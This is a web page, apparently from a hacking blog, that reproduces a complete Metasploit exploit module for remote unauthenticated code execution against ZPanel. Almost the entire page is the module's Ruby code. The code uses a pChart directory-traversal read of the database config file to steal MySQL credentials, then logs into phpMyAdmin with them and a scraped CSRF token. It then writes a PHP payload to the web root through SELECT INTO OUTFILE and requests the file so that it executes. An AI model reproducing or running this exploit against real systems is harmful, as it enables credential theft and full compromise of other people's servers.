Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863541198

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/php_exe'
require 'nokogiri'
require 'uri'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Zpanel Remote Unauthenticated RCE',
      'Description'    => %q{
        This module exploits an information disclosure vulnerability
        in Zpanel. The vulnerability is due to a vulnerable version
        of pChart used by ZPanel that allows unauthenticated users to read
        arbitrary files remotely on the file system. This particular module
        utilizes this vulnerability to identify the username/password
        combination of the MySQL instance. With the
        credentials the attackers can login to PHPMyAdmin and execute
        SQL commands to drop a malicious payload on the filesystem and
        call it leading to remote code execution.
      },
      'Author' =>
        [
          'Balazs Makany',      # pChart vuln discovery
          'Jose Antonio Perez', # Found vulnerable version of pChart on ZPanel
          'dawn isabel',
          'brad wolfe',
          'brent morris',
          'james fitts'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'EDB', '31173' ],    # vulnerable version of pChart used by zpanel
          [ 'OSVDB', '102595' ], # vulnerable version of pChart used by zpanel
          [ 'URL', 'http://blog.0xlabs.com/2014/03/zpanel-10.1.x-remote-root.html' ],
          [ 'URL', 'http://pastebin.com/y5Pf4Yms' ]
        ],
      'Payload' =>
        {
          'BadChars' => "\x00",
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Jan 30 2014'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel'])
      ], self.class)
  end

  def get_setting(res, setting_name)
    n = ::Nokogiri::HTML(res.body)
    spans = n.search('//code//span//span')
    found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first
    val = found_element.next.next.text
    val.scan(/['"]([[:print:]]+)['"]/).flatten.first || ''
  end

  def get_user(res)
    get_setting(res, 'user')
  end

  def get_passwd(res)
    get_setting(res, 'pass')
  end

  def get_dbname(res)
    get_setting(res, 'dbname')
  end

  def dot_dot_slash(uri)
    res = send_request_cgi({
      'method' =>'GET',
      'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'),
      'vars_get' => {
        'Action' => 'View',
        'Script' => '../../../../cnf/db.php'
      }
    })

    uname  = get_user(res)
    passwd = get_passwd(res)
    dbname = get_dbname(res)

    return uname, passwd, dbname
  end

  def get_token_from_form(res)
    hidden_inputs = res.get_hidden_inputs
    hidden_inputs.first['token']
  end

  def get_token_from_url(url)
    u = URI(url)
    u.query.split('&').each do |param|
      param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten
      return param_value if param_name == 'token'
    end

    ''
  end

  def grab_sess_and_token(uri)
    print_status('Attempting to get PHPSESSIONID')
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri("#{uri}"),
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID')
    end

    cookies = res.get_cookies
    sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''

    if sid.length > 0
      print_good('PHPSESSID identified!')
      print_good("PHPSESSID = #{sid.split("=")[1]}")

      print_status('Attempting to get CSRF token')
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'),
        'Cookie' => "#{sid}"
      })

      unless res
        fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token')
      end

      token = get_token_from_form(res)
      cookies = res.get_cookies

      cookies = cookies.split('; ')
      cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}"

      if token.length > 0
        print_good('CSRF token identified!')
        print_good("CSRF token = #{token}")
        return cookies, token, sid
      else
        print_error('CSRF token could not be identified...')
      end
    else
      print_error('PHPSESSID could not be identified...')
    end
  end

  def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
    old_cookies = cookies

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
      'cookie' => cookies,
      'ctype'  => 'application/x-www-form-urlencoded',
      'headers'=>
        {
          'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
        },
      'vars_post' => {
        'pma_username'         => uname,
        'pma_password'         => passwd,
        'server'               => '1',
        'lang'                 => 'en',
        'collation_connection' => 'utf8_general_ci',
        'token'                => token
      }
    })

    cookies = "#{res.get_cookies}"

    old_cookies = old_cookies.split("; ")
    cookies = cookies.split("; ")

    new_cookies =  "#{old_cookies[0]}; "
    new_cookies << "#{old_cookies[1]}; "
    new_cookies << "#{old_cookies[2]}; "
    new_cookies << "#{old_cookies[3]}; "
    new_cookies << "#{cookies[0]}; "
    new_cookies << "#{cookies[1]} "
    new_cookies << "#{sess_id}"

    token = get_token_from_url(res['Location'])

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
      'Referer'  => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
      'cookie'   => new_cookies,
      'vars_get' => {
        'token' => token
      }
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin')
    end

    if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/
      print_good('PHPMyAdmin login successful!')
      return new_cookies, token
    end
  end

  def do_sql(cookies, token, uri)
    fname = "#{rand_text_alpha_upper(5)}.php"
    sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\""

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'),
      'cookie' => cookies,
      'ctype'  =>'application/x-www-form-urlencoded; charset=UTF-8',
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest',
        'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}"
      },
      'vars_post' => {
        'is_js_confirmed' => '0',
        'token'           => token,
        'pos'             => '0',
        'goto'            => 'server_sql.php',
        'message_to_show' => 'Your+SQL+query+has+been+executed+successfully',
        'prev_sql_query'  => '',
        'sql_query'       => sql_stmt,
        'sql_delimiter'   => ';',
        'show_query'      => '1',
        'ajax_request'    => 'true',
        '_nocache'        => rand.to_s[2..19].to_i
      }
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload')
    end

    if res.body =~ /"success":true/
      print_good("'#{fname}' successfully uploaded")
      print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'")
      print_status("Executing '#{fname}' on the remote host")

      res = send_request_cgi({
        'method'=>'GET',
        'uri'=>normalize_uri("#{uri}", "#{fname}")
      })
    else
      print_error("#{res.body.to_s}")
    end
  end

  def exploit
    # Checking pChart
    res = send_request_cgi({
      'method'=> 'GET',
      'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php')
    })

    # if pChart is vuln version
    if res.body =~ /pChart 2\.x/
      uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}")
      if uname.length > 0 && passwd.length > 0
        print_good('Directory traversal successful, Username/Password identified!')
        print_good("Username: #{uname}")
        print_good("Password: #{passwd}")
        print_good("DB Name: #{db_name}")
        cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}")
        print_status('Logging into PHPMyAdmin now')
        cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id)
        print_status('Uploading malicious payload now')
        do_sql(cookies, token, "#{datastore['URI']}")
      else
        print_error('It appears that the directory traversal was unsuccessful...')
      end
    else
      print_error("It appears that the version of pChart is not vulnerable...")
    end
  end
end